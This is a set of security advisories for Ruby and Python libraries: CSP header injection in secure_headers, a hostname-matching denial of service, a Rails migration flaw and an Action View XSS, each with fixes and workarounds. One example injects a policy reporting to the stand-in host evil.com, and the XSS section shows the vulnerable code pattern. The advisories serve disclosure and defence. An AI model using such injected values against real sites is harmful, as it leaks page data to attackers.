Package Instance

Limited header injection when using dynamic overrides with user input in RubyGems secure_headers
### Impact

If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection.

Upon seeing a newline in the header, rails will silently create a new `Content-Security-Policy` header with the remaining value of the original string. It will continue to create new headers for each newline.

e.g.

```ruby
override_content_security_directives(script_src: ['mycdn.com', "\ninjected\n"])` 
```

would result in 

```
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: injected
Content-Security-Policy: rest-of-the-header
```

CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:

```ruby
override_content_security_directives(script_src: ["mycdn.com", "\ndefault-src 'none'; report-uri evil.com"]) 
```
```
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: default-src 'none'; report-uri evil.com
Content-Security-Policy: rest-of-the-header
```

### Patches

This has been fixed in 6.3.0, 5.2.0, and 3.9.0

### Workarounds

```ruby
override_content_security_policy_directives(:frame_src, [user_input.gsub("\n", " ")])
```

### References

https://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c
[The effect of multiple policies](https://www.w3.org/TR/CSP3/#multiple-policies)

### For more information

If you have any questions or comments about this advisory:
* Open an issue in [this repo](https://github.com/twitter/secure_headers/security/advisories/new)
* DM us at @ndm on twitter

Uncontrolled Resource Consumption
Algorithmic complexity vulnerability in the `ssl.match_hostname` function and unspecified versions of python-backports-ssl_match_hostname as used for older Python versions, allows remote attackers to cause a denial of service (CPU consumption) via multiple wildcard characters in the common name in a certificate.

Untrusted users can run pending migrations in production in Rails
There is a vulnerability in versions of Rails prior to 6.0.3.2 that allowed an untrusted user to run any pending migrations on a Rails app running in production.

This vulnerability has been assigned the CVE identifier CVE-2020-8185.

Versions Affected:  6.0.0 < rails < 6.0.3.2
Not affected:       Applications with `config.action_dispatch.show_exceptions = false` (this is not a default setting in production)
Fixed Versions:     rails >= 6.0.3.2

Impact
------

Using this issue, an attacker would be able to execute any migrations that are pending for a Rails app running in production mode. It is important to note that an attacker is limited to running migrations the application developer has already defined in their application and ones that have not already run.

Workarounds
-----------

Until such time as the patch can be applied, application developers should disable the ActionDispatch middleware in their production environment via a line such as this one in their config/environment/production.rb:

`config.middleware.delete ActionDispatch::ActionableExceptions`

XSS in Action View
There is a potential Cross-Site Scripting (XSS) vulnerability in Action View's translation helpers. Views that allow the user to control the default (not found) value of the `t` and `translate` helpers could be susceptible to XSS attacks.

### Impact

When an HTML-unsafe string is passed as the default for a missing translation key [named `html` or ending in `_html`](https://guides.rubyonrails.org/i18n.html#using-safe-html-translations), the default string is incorrectly marked as HTML-safe and not escaped. Vulnerable code may look like the following examples:

```erb
<%# The welcome_html translation is not defined for the current locale: %>
<%= t("welcome_html", default: untrusted_user_controlled_string) %>

<%# Neither the title.html translation nor the missing.html translation is defined for the current locale: %>
<%= t("title.html", default: [:"missing.html", untrusted_user_controlled_string]) %>
```

### Patches

Patched Rails versions, 6.0.3.3 and 5.2.4.4, are available from the normal locations.

The patches have also been applied to the `master`, `6-0-stable`, and `5-2-stable` branches on GitHub. If you track any of these branches, you should update to the latest.

To aid users who aren’t able to upgrade immediately, we’ve provided patches for the two supported release series. They are in git-am format and consist of a single changeset.

* [5-2-translate-helper-xss.patch](https://gist.github.com/georgeclaghorn/a466e103922ee81f24c32c9034089442#file-5-2-translate-helper-xss-patch) — patch for the 5.2 release series
* [6-0-translate-helper-xss.patch](https://gist.github.com/georgeclaghorn/a466e103922ee81f24c32c9034089442#file-6-0-translate-helper-xss-patch) — patch for the 6.0 release series

Please note that only the 5.2 and 6.0 release series are currently supported. Users of earlier, unsupported releases are advised to update as soon as possible, as we cannot provide security fixes for unsupported releases.

### Workarounds

Impacted users who can’t upgrade to a patched Rails version can avoid this issue by manually escaping default translations with the `html_escape` helper (aliased as `h`):

```erb
<%= t("welcome_html", default: h(untrusted_user_controlled_string)) %>
```